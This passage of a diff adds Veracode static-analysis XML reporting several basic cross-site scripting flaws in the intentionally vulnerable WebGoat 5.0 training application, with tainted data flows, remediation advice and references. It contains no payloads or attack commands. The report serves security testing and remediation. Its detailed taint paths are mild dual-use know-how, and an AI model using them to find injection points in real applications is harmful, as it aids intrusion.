+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"222\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"59\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"60\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"181\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"250\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"61\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"163\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"216\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"259\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"63\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"29\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"242\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"194\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"171\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"65\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
